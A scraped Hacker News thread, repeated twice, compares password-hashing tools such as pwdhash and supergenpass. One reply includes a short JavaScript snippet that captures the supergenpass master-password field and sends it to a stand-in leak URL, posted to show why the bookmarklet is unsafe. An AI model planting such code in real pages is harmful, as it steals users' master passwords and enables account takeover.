6 ms·

I am surprised by how few people are aware of this: https://www.pwdhash.com/ https://www.pwdhash.com/ Convenience provided via Chrome/Firefox extensions, porta

by gmisra 13y ago

I am surprised by how few people are aware of this: https://www.pwdhash.com/ https://www.pwdhash.com/ Convenience provided via Chrome/Firefox extensions, portability provided by the website.

Periodic 13y ago
I second this. I've been using it for a few years now. It gives me great peace of mind knowing that my password on a site like HN is something like "e5wLoMB1kZ". I only have to remember a few passwords and yet each site has a unique password. Even in the event a leak of plain-text passwords I'm still secure in knowing that my other accounts won't be compromised unless there is a very determined attacker. However, you do have to put some trust in the extension and the website. Fortunately, the website has some good credentials and the extensions have appeared clean... for now.
- jervisfm 13y ago
  Yeah, I did not hear about pwdhash and it sounds like a nice idea. One thing I have noticed though is that when one enters the same site password, you get the same "Hashed" password back to use. Yes, there is an extra step involved here so that buys you some security but I will be cautious in reusing site passwords. Imagine an attack where for the top 100 sites in the world, all of the most commonly used passwords are used to generate the "Hashed" (pwdhash) passwords for each site and compile that info into a big list. This can then be added to the candidate list of password that can be tried in cracking leaked hashes. The take way here is that even though pwdhash gives you domain-specific generated passwords, you will make to sure that you use a different site password as input to pwdhash for each site.
Pxtl 13y ago
It's a start, but you'd need all the mobile platforms on it too.
jdmichal 13y ago
There is also http://supergenpass.com http://supergenpass.com, which uses a JavaScript bookmarklet to do the hashing.
- A1kmm 13y ago
  That is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet: document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" http://example.org/leak/" + $("#gp2_master").val()})})
  - reconbot 13y ago
    You can use an enigmapass or a few of the other browser extensions to avoid this. Also there are iphone and android apps.
oijaf888 13y ago
I like https://oneshallpass.com/ https://oneshallpass.com/ better since it lets you change some attributes about the passwords generated. So if a site is compromised you can just increment the generation field and get a totally new hash.
gst 13y ago
pwdhash uses a weak hashing mechanism, making it possible to brute-force master passwords. It is OK to use, but make sure that you have a cryptographically strong master password.
antihero 13y ago
Eh, that's awesome. There's an Android app, too, so I can use this on my phone. They don't seem to mention anywhere which hashing algorithm they use. Also, the lengths are quite small. Any idea why?
acqq 13y ago
Is it protecting from the possibility of web sites being compromised with your data by trusting the website and the extension? How is it better?

by gmisra 13y ago

I am surprised by how few people are aware of this: https://www.pwdhash.com/ https://www.pwdhash.com/ Convenience provided via Chrome/Firefox extensions, portability provided by the website.

Periodic 13y ago

I second this. I've been using it for a few years now. It gives me great peace of mind knowing that my password on a site like HN is something like "e5wLoMB1kZ". I only have to remember a few passwords and yet each site has a unique password. Even in the event a leak of plain-text passwords I'm still secure in knowing that my other accounts won't be compromised unless there is a very determined attacker. However, you do have to put some trust in the extension and the website. Fortunately, the website has some good credentials and the extensions have appeared clean... for now.

jervisfm 13y ago
Yeah, I did not hear about pwdhash and it sounds like a nice idea. One thing I have noticed though is that when one enters the same site password, you get the same "Hashed" password back to use. Yes, there is an extra step involved here so that buys you some security but I will be cautious in reusing site passwords. Imagine an attack where for the top 100 sites in the world, all of the most commonly used passwords are used to generate the "Hashed" (pwdhash) passwords for each site and compile that info into a big list. This can then be added to the candidate list of password that can be tried in cracking leaked hashes. The take way here is that even though pwdhash gives you domain-specific generated passwords, you will make to sure that you use a different site password as input to pwdhash for each site.

Pxtl 13y ago

It's a start, but you'd need all the mobile platforms on it too.

jdmichal 13y ago

There is also http://supergenpass.com http://supergenpass.com, which uses a JavaScript bookmarklet to do the hashing.

A1kmm 13y ago
That is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet: document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" http://example.org/leak/" + $("#gp2_master").val()})})
- reconbot 13y ago
  You can use an enigmapass or a few of the other browser extensions to avoid this. Also there are iphone and android apps.

oijaf888 13y ago

I like https://oneshallpass.com/ https://oneshallpass.com/ better since it lets you change some attributes about the passwords generated. So if a site is compromised you can just increment the generation field and get a totally new hash.

gst 13y ago

pwdhash uses a weak hashing mechanism, making it possible to brute-force master passwords. It is OK to use, but make sure that you have a cryptographically strong master password.

antihero 13y ago

Eh, that's awesome. There's an Android app, too, so I can use this on my phone. They don't seem to mention anywhere which hashing algorithm they use. Also, the lengths are quite small. Any idea why?

acqq 13y ago

Is it protecting from the possibility of web sites being compromised with your data by trusting the website and the extension? How is it better?